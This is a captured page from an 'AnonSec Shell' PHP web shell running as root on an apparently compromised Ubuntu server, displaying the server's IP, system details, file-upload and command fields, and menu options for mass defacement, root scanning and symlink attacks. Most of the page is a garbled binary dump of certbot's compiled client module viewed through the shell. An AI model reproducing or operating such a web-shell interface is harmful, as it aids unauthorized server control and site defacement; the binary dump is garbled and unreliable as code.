AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/certbot/_internal/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/certbot/_internal/__pycache__/client.cpython-310.pyc
o

6��a�y�@s�dZddlZddlZddlZddlmZddlmZddlmZddlmZddlm	Z	ddl
Z
ddlmZdd	l
mZddlZddlZdd
lmZddlmZddlmZdd
lmZddlZddlmZddlmZddlmZddlmZddlmZddlmZddlm Z ddlm!Z!ddlm"Z"ddlm#Z#ddl$m%Z&ddl'm(Z(ddl)m*Z+ddl)mZ,e�-e.�Z/d1dd�Z0dd�Z1dd�Z2Gdd �d �Z3d!d"�Z4d1d#d$�Z5d%d&�Z6Gd'd(�d(�Z7d1d)d*�Z8d+d,�Z9d-d.�Z:d/d0�Z;dS)2zCertbot client API.�N)�Any)�Dict)�List)�Optional)�Union)�default_backend)�generate_private_key)�client)�crypto_util)�errors)�messages)�util)�account)�auth_handler)�cli)�	constants)�eff)�
error_handler)�storage)�	selection)�os)�opscCs~tj|||jt|�d�}t���$t�dt�t�|||j	�}|j
dkr,t�d|j	�|Wd�S1s8wYdS)z Wrangle ACME client construction)r�
verify_ssl�
user_agent�ignore�z�Certbot is configured to use an ACMEv1 server (%s). ACMEv1 support is deprecated and will soon be removed. See https://community.letsencrypt.org/t/143839 for more information.N)
�acme_client�
ClientNetwork�
no_verify_ssl�determine_user_agent�warnings�catch_warnings�simplefilter�DeprecationWarning�BackwardsCompatibleClientV2�server�acme_version�logger�warning)�config�key�regr�netr	�r-�:/usr/lib/python3/dist-packages/certbot/_internal/client.py�acme_from_config_key's�

�$�r/cCs�|jdurAd}tj�d�dkrd}d}d}ntj}t��}t�	�}|�
tj|||j
|j|jt|�||jr<d|j�	}|Sd	�	}|S|j}|S)
z�
    Set a user_agent string in the config based on the choice of plugins.
    (this wasn't knowable at construction time)

    :returns: the client's User-Agent string
    :rtype: `str`
    Nz\CertbotACMEClient/{0} ({1}; {2}{8}) Authenticator/{3} Installer/{4} ({5}; flags: {6}) Py/{7}�CERTBOT_DOCS�1�certbotzOS_NAME OS_VERSIONzmajor.minor.patchlevelz; �)rr�environ�getr�cli_commandr
�get_os_info_ua�platform�python_version�formatr2�__version__�
authenticator�	installer�verb�ua_flags�user_agent_comment)r)�uar6�os_infor9r-r-r.r9s(
����rcs�t�t�rdSg}�jr|�d��jr|�d��jr!|�d��jr)|�d�d}�fdd�|D�}t|�r=|�d	�d
�|�S)z@Turn some very important CLI flags into clues in the user agent.�FLAGS�dup�frn�asn�n)�pre�post�renew�manual_auth�manual_cleanupcsg|]	}t�|d��qS)�_hook)�getattr)�.0�h�r)r-r.�
<listcomp>fszua_flags.<locals>.<listcomp>�hook� )	�
isinstance�DummyConfig�	duplicate�append�renew_by_default�allow_subset_of_names�noninteractive_mode�any�join)r)�flags�
hook_names�hooksr-rQr.r?Xs 






r?c@s eZdZdZdd�Zdd�ZdS)rVz'Shim for computing a sample user agent.cCsd|_d|_d|_d|_dS)N�XXX�YYY�
SUBCOMMAND)r<r=rr>)�selfr-r-r.�__init__ms
zDummyConfig.__init__cCsdS)z-Any config properties we might have are None.Nr-)rd�namer-r-r.�__getattr__sszDummyConfig.__getattr__N)�__name__�
__module__�__qualname__�__doc__rergr-r-r-r.rVksrVcCs
tt��S)z<Document what this Certbot's user agent string will be like.)rrVr-r-r-r.�sample_user_agentws
rlc	Cs�|��rt�d|j�|jdur'|jsd}t�|�t�|��|j	s't�
d�|j	r-d|_td|jt
�d�}tjt�|�d�}t||�}t|||�}t�||�}|�||�t�||�||fS)aRegister new account with an ACME CA.

    This function takes care of generating fresh private key,
    registering the account, optionally accepting CA Terms of Service
    and finally saving the account. It should be called prior to
    initialization of `Client`, unless account has already been created.

    :param certbot.configuration.NamespaceConfig config: Client configuration.

    :param .AccountStorage account_storage: Account storage where newly
        registered account will be saved to. Save happens only after TOS
        acceptance step, so any account private keys or
        `.RegistrationResource` will not be persisted if `tos_cb`
        returns ``False``.

    :param tos_cb: If ACME CA requires the user to accept a Terms of
        Service before registering account, client action is
        necessary. For example, a CLI tool would prompt the user
        acceptance. `tos_cb` must be a callable that should accept
        `.RegistrationResource` and return a `bool`: ``True`` iff the
        Terms of Service present in the contained
        `.Registration.terms_of_service` is accepted by the client, and
        ``False`` otherwise. ``tos_cb`` will be called only if the
        client action is necessary, i.e. when ``terms_of_service is not
        None``. This argument is optional, if not supplied it will
        default to automatic acceptance!

    :raises certbot.errors.Error: In case of any client problems, in
        particular registration failure, or unaccepted Terms of Service.
    :raises acme.errors.Error: In case of any protocol problems.

    :returns: Newly registered and saved account, as well as protocol
        API handle (should be used in `Client` initialization).
    :rtype: `tuple` of `.Account` and `acme.client.Client`

    z*There are already existing accounts for %sNzLNo email was provided and --register-unsafely-without-email was not present.zRegistering without email!i)�public_exponent�key_size�backend)r*)�find_allr'�infor%�email�register_unsafely_without_email�errorr�Error�dry_run�debugr�rsa_key_sizer�jose�JWKRSA�ComparableRSAKeyr/�perform_registrationr�Account�saver�prepare_subscription)	r)�account_storage�tos_cb�msg�rsa_keyr*�acmer+�accr-r-r.�register}s.&



�
r�c	
Cs�|jo|j}|r|jjj��}tjj||j|j|jj	d�}nd}|�
�r-|s-d}t�|��ztj
j|j|d�}|�||�WStjyu}z+|jdksP|jdkrp|jr]d|j}t�|��tjdd	�|_t|||�WYd}~S�d}~ww)
a�
    Actually register new account, trying repeatedly if there are email
    problems

    :param acme.client.Client client: ACME client object.
    :param certbot.configuration.NamespaceConfig config: Client configuration.
    :param Callable tos_cb: a callback to handle Term of Service agreement.

    :returns: Registration Resource.
    :rtype: `acme.messages.RegistrationResource`
    )�account_public_key�kid�hmac_key�	directoryNzRServer requires external account binding. Please use --eab-kid and --eab-hmac-key.)rr�external_account_binding�invalidEmail�invalidContactzzThe ACME server believes %s is an invalid email address. Please ensure it is a valid email and attempt registration again.T)�invalid)�eab_kid�eab_hmac_keyr	r,r*�
public_keyr�ExternalAccountBinding�	from_datar��external_account_requiredrru�NewRegistrationrr�new_account_and_tos�coder[�display_ops�	get_emailr|)	r�r)r��eab_credentials_suppliedr��eabr��newreg�er-r-r.r|�s<
�

��
��r|c
@s�eZdZdZd#dd�Zd#dd�Zd#dd�Zd	ed
ede	j
fdd
�Zdd�Zdd�Z
dd�Zdd�Zd$dd�Z	d#deededeeeeefddfdd�Zdeeddfdd �Zd!d"�ZdS)%�Clienta�Certbot's client.

    :ivar certbot.configuration.NamespaceConfig config: Client configuration.
    :ivar .Account account: Account registered with `register`.
    :ivar .AuthHandler auth_handler: Authorizations handler that will
        dispatch DV challenges to appropriate authenticators
        (providing `.Authenticator` interface).
    :ivar .Authenticator auth: Prepared (`.Authenticator.prepare`)
        authenticator that can solve ACME challenges.
    :ivar .Installer installer: Installer.
    :ivar acme.client.BackwardsCompatibleClientV2 acme: Optional ACME
        client API handle. You might already have one from `register`.

    NcCsx||_||_||_||_|dur|jdurt||jj|jj�}||_||dur7t�	||j|j|jj
�|_dSd|_dS)zInitialize a client.N)r)r�authr=r/r*r+r�r�AuthHandler�pref_challs)rdr)�account_r�r=r�r-r-r.res
�
zClient.__init__c	Cs�|jdurd}t�|�t�|��|jjdurt�d��t�d|�|dur.|j|j	dd�}t
j
��t
jdd�}|j
jdu}|jj|||d	�}|j}|r`|jr`t�|g|j|j
j|j
j�}t�|�\}}|��|��fS)
aWObtain certificate.

        :param .util.CSR csr: PEM-encoded Certificate Signing
            Request. The key used to generate this CSR can be different
            than `authkey`.
        :param acme.messages.OrderResource orderr: contains authzrs

        :returns: certificate and chain as PEM byte strings
        :rtype: tuple

        Nz>Unable to obtain certificate because authenticator is not set.z+Please register with the ACME server first.zCSR: %sF)�best_effort�Z)�seconds)�fetch_alternative_chains)rr'rtrrurr+rw�_get_order_and_authorizations�data�datetime�now�	timedeltar)�preferred_chainr��finalize_order�
fullchain_pem�alternative_fullchains_pemr
�find_chain_with_issuerrv�cert_and_chain_from_fullchain�encode)	rd�csr�orderrr��deadline�get_alt_chains�	fullchain�cert�chainr-r-r.�obtain_certificate_from_csrs0




�
��z"Client.obtain_certificate_from_csrcs�|dur-t|d��}|}|��}Wd�n1swYtj||d�}t�d|�nd}|jj}d}t|jj	t
�rD|jj	d|j_	|jjr_|jj	dkr_|jj}d|j_d	|j_
d
|j_n|jjro|jj	��dkro|jj}|jjr�|p�tjdtj|||jj	d�d�}tjdd
t�|j||jj�d�}	n!|p�tj||jj|jj	||jjd�}t�|||jj|jj|jj�}	|�|	j|jj�}
|
j }t!dd�|D����fdd�|D�}|jjr�||kr�|jjs�t"�#|j$�t"�#|	j$�|�%|�S|�&|	|
�\}
}|
|||	fS)a�Obtains a certificate from the ACME server.

        `.register` must be called before `.obtain_certificate`

        :param list domains: domains to get a certificate

        :returns: certificate as PEM string, chain as PEM string,
            newly generated private key (`.util.Key`), and DER-encoded
            Certificate Signing Request (`.util.CSR`).
        :rtype: tuple

        N�rb)�file�pemz%Reusing existing private key from %s.�	secp256r1r�ecdsaz./chain-ecdsa.pemz./cert-ecdsa.pemz./key-ecdsa.pem�rsa)�bits�elliptic_curve�key_typer�)r��formr�)rn�key_dirr�r��strict_permissionscss�|]}|jjjVqdS�N)�body�
identifier�value)rO�ar-r-r.�	<genexpr>�s�z,Client.obtain_certificate.<locals>.<genexpr>csg|]}|�vr|�qSr-r-)rO�d��auth_domainsr-r.rR�sz-Client.obtain_certificate.<locals>.<listcomp>)'�open�readr
�Keyr'rqr)rxrUr��listr��auth_chain_path�auth_cert_path�key_path�lowerrvr
�make_key�CSR�acme_crypto_util�make_csrr��must_staple�generate_keyr�r��generate_csr�csr_dirr�r�rZ�authorizations�setr�remover��obtain_certificater�)rd�domains�old_keypath�f�keypath�keypemr*rnr�r�r��authzr�successful_domainsr�r�r-r�r.r�;sl
�
��	����
zClient.obtain_certificate�csr_pemr��returncCs�z|j�|�}Wn
tjyt�d��w|jst�d��|r@|jjr@|j�	|�\}}|r9t
�d�|j�|�}|r@t
�d�|j�
||j|�}|j|d�S)a`Request a new order and complete its authorizations.

        :param str csr_pem: A CSR in PEM format.
        :param bool best_effort: True if failing to complete all
            authorizations should not raise an exception

        :returns: order resource containing its completed authorizations
        :rtype: acme.messages.OrderResource

        zWThe currently selected ACME CA endpoint does not support issuing wildcard certificates.z&No authorization handler has been set.z*Recreating order after authz deactivationszCertbot was unable to obtain fresh authorizations for every domain. The dry run will continue, but results may not be accurate.)r�)r��	new_order�acme_errors�WildcardUnsupportedErrorrrurr)rv�deactivate_valid_authorizationsr'rwr(�handle_authorizations�update)rdr�r�r��deactivated�failedr�r-r-r.r��s 
�


z$Client._get_order_and_authorizationscCs||�|�\}}}}|jjtjdks|jjtjdkr t�d�|�||�}|jj	r2t�
d|�dStj�
|||j||j�S)a{Obtain and enroll certificate.

        Get a new certificate for the specified domains using the specified
        authenticator and installer, and then create a new renewable lineage
        containing it.

        :param domains: domains to request a certificate for
        :type domains: `list` of `str`
        :param certname: requested name of lineage
        :type certname: `str` or `None`

        :returns: A new :class:`certbot._internal.storage.RenewableCert` instance
            referred to the enrolled cert lineage, False if the cert could not
            be obtained, or None if doing a successful dry run.

        �
config_dir�work_dirzdNon-standard path(s), might not work with crontab installed by your operating system package managerz-Dry run: Skipping creating new lineage for %sN)r�r)r�r�CLI_DEFAULTSr�r'rq�_choose_lineagenamervrwr�
RenewableCert�new_lineager�)rdr��certnamer�r�r*�_�new_namer-r-r.�obtain_and_enroll_certificate�s$����z$Client.obtain_and_enroll_certificatecCs.|r|St�|d�r|ddd�S|dS)a/Chooses a name for the new lineage.

        :param domains: domains in certificate request
        :type domains: `list` of `str`
        :param certname: requested name of lineage
        :type certname: `str` or `None`

        :returns: lineage name that should be used
        :rtype: str

        r�N)r
�is_wildcard_domain)rdr�r�r-r-r.r��s
zClient._choose_lineagenamec
Cs�|||fD]}t�tj�|�d|jj�qtd|�\}}z|�|�W|�	�n|�	�wtd|�\}	}
td|�\}}t
||	�t
|||�||
|fS)a Saves the certificate received from the ACME server.

        :param str cert_pem:
        :param str chain_pem:
        :param str cert_path: Candidate path to a certificate.
        :param str chain_path: Candidate path to a certificate chain.
        :param str fullchain_path: Candidate path to a full cert chain.

        :returns: cert_path, chain_path, and fullchain_path as absolute
            paths to the actual files
        :rtype: `tuple` of `str`

        :raises IOError: If unable to find room to write the cert files

        i��	cert_path�
chain_path�fullchain_path)r
�make_or_verify_dirr�path�dirnamer)r��_open_pem_file�write�close�_save_chain)
rd�cert_pem�	chain_pemrrrr�	cert_file�
abs_cert_path�
chain_file�abs_chain_path�fullchain_file�abs_fullchain_pathr-r-r.�save_certificate�s��

zClient.save_certificatec	Cs�|jdurt�d�t�d��|durdntj�|�}t�	d�d}t
�|j|��+|D]}|jj
|tj�|�tj�|�||d�|j��q,|j�d�Wd�n1sWwYd}t
�|j|��|j��Wd�dS1svwYdS)	aInstall certificate

        :param list domains: list of domains to install the certificate
        :param str privkey_path: path to certificate private key
        :param str cert_path: certificate file path (optional)
        :param str chain_path: chain file path

        NzANo installer specified, client is unable to deploythe certificate�No installer availablezDeploying certificatezCould not install certificate)�domainrr�rrzDeployed ACME CertificatezuWe were unable to install your certificate, however, we successfully restored your server to its prior configuration.)r=r'rtrrurr�abspath�display_util�notifyr�ErrorHandler�_recovery_routine_with_msg�deploy_certr~�_rollback_and_restart�restart)rdr��privkey_pathrrrr��domr-r-r.�deploy_certificates*
	



��"�zClient.deploy_certificateTcCs�|jdurt�d�t�d��d}dddd|fd	f}|j��}|D]-\}}}	t|j|�}
||vrF|d
kr:|
dur:|}
|
rE|�|||	�d}q!|
rNt�d|�q!d
}|rrt	�
|j|��|j��Wd�dS1skwYdSdS)afEnhance the configuration.

        :param list domains: list of domains to configure
        :param chain_path: chain file path
        :type chain_path: `str` or `None`
        :param redirect_default: boolean value that the "redirect" flag should default to

        :raises .errors.Error: if no installer is specified in the
            client.

        NzDNo installer is specified, there isn't any configuration to enhance.rF)�hsts�ensure-http-headerzStrict-Transport-Security)�redirectr#N�staplezstaple-ocsp)�uirr"zUpgrade-Insecure-Requestsr#TzKOption %s is not supported by the selected installer. Skipping enhancement.z$We were unable to restart web server)
r=r'rtrru�supported_enhancementsrNr)�apply_enhancementrrrr)rdr�r�redirect_default�enhanced�enhancement_info�	supported�config_name�enhancement_name�option�config_valuer�r-r-r.�enhance_config<s>


�
���"��zClient.enhance_configr��enhancement�optionsc
Cs�|dkr|n|}t�|jd��@|D]+}z
|j�|||�Wqtjy.t�d|�Yqtj	y=t�
d||��w|j�d|���Wd�dS1sRwYdS)a�Applies an enhancement on all domains.

        :param list domains: list of ssl_vhosts (as strings)
        :param str enhancement: name of enhancement, e.g. ensure-http-header
        :param str options: options to enhancement, e.g. Strict-Transport-Security

            .. note:: When more `options` are needed, make options a list.

        :raises .errors.PluginError: If Enhancement is not supported, or if
            there is any other problem with the enhancement.


        r"NzEnhancement %s was already set.z(Unable to set the %s enhancement for %s.zAdd enhancement )rrrr=�enhancer�PluginEnhancementAlreadyPresentr'rq�PluginErrorrtr~)rdr�r1r2�	enh_labelrr-r-r.r'gs�"�zClient.apply_enhancement�success_msgcCs |j��|rt�|�dSdS)z�Calls the installer's recovery routine and prints success_msg

        :param str success_msg: message to show on successful recovery

        N)r=�recovery_routinerr�rdr7r-r-r.r�s
�z!Client._recovery_routine_with_msgcCsDt�d�z|j��|j��Wn	t�d��t�|�dS)z�Rollback the most recent checkpoint and restart the webserver

        :param str success_msg: message to show on successful rollback

        z0Rolling back to previous server configuration...z�An error occurred and we failed to restore your config and restart your server. Please post to https://community.letsencrypt.org/c/help with details about your configuration and this error you received.N)r'rqr=�rollback_checkpointsrrtrrr9r-r-r.r�s

�zClient._rollback_and_restartr�)T)rhrirjrkrer�r��str�boolr�
OrderResourcer�r�r�rr r0rrrr'rrr-r-r-r.r��s.


&]�
�"$&
%,��
�
r�cCs�|jrt�|j�st�d��|rQ|jdkr0tj�tjj	|j
�}tj�tjj|�}t
�|j|d�}|j
r>t�|j
�s>t�d��|j
rS|jrUt�|j
|j�sWt�d��dSdSdSdS)a�Validate Key and CSR files.

    Verifies that the client key and csr arguments are valid and correspond to
    one another. This does not currently check the names in the CSR due to
    the inability to read SANs from CSRs in python crypto libraries.

    If csr is left as None, only the key will be validated.

    :param privkey: Key associated with CSR
    :type privkey: :class:`certbot.util.Key`

    :param .util.CSR csr: CSR

    :raises .errors.Error: when validation fails

    z#The provided key is not a valid key�derr�z#The provided CSR is not a valid CSRzThe key and CSR do not matchN)r�r
�
valid_privkeyrrur��OpenSSL�crypto�load_certificate_request�
FILETYPE_ASN1r��dump_certificate_request�FILETYPE_PEMr
r�r��	valid_csr�csr_matches_pubkey)�privkeyr��csr_obj�cert_bufferr-r-r.�validate_key_csr�s*


��
�
�rKcCs4tj|||dd�}|dur|�|�|��dSdS)z�Revert configuration the specified number of checkpoints.

    :param int checkpoints: Number of checkpoints to revert.

    :param config: Configuration.
    :type config: :class:`certbot.configuration.NamespaceConfiguration`

    z,Which installer should be used for rollback?)�questionN)�plugin_selection�pick_installerr:r)�default_installer�checkpointsr)�pluginsr=r-r-r.�rollback�s
�
�rRcCsLt�|�rtj|ddd�tj�|�fSt�|dd�}|dtj�|d�fS)a'Open a pem file.

    If cli_arg_path was set by the client, open that.
    Otherwise, uniquify the file path.

    :param str cli_arg_path: the cli arg name, e.g. cert_path
    :param str pem_path: the pem file path to open

    :returns: a tuple of file object and its absolute file path

    i��wb)�chmod�moderr)r�
set_by_clir
�	safe_openrrr�unique_file)�cli_arg_path�pem_path�uniqr-r-r.r�s

�rcCs$z|�|�W|��dS|��w)z�Saves chain_pem at a unique path based on chain_path.

    :param str chain_pem: certificate chain in PEM format
    :param str chain_file: chain file object

    N)rr	)rrr-r-r.r
�sr
r�)<rkr��loggingr8�typingrrrrrr �cryptography.hazmat.backendsr�-cryptography.hazmat.primitives.asymmetric.rsar�josepyryr@r�r	rr
r�rr�rr2r
�certbot._internalrrrrrrr�certbot._internal.pluginsrrM�certbot.compatr�certbot.displayrr�r�	getLoggerrhr'r/rr?rVrlr�r|r�rKrRrr
r-r-r-r.�<module>sb


G.
3.

Anon7 - 2022
AnonSec Team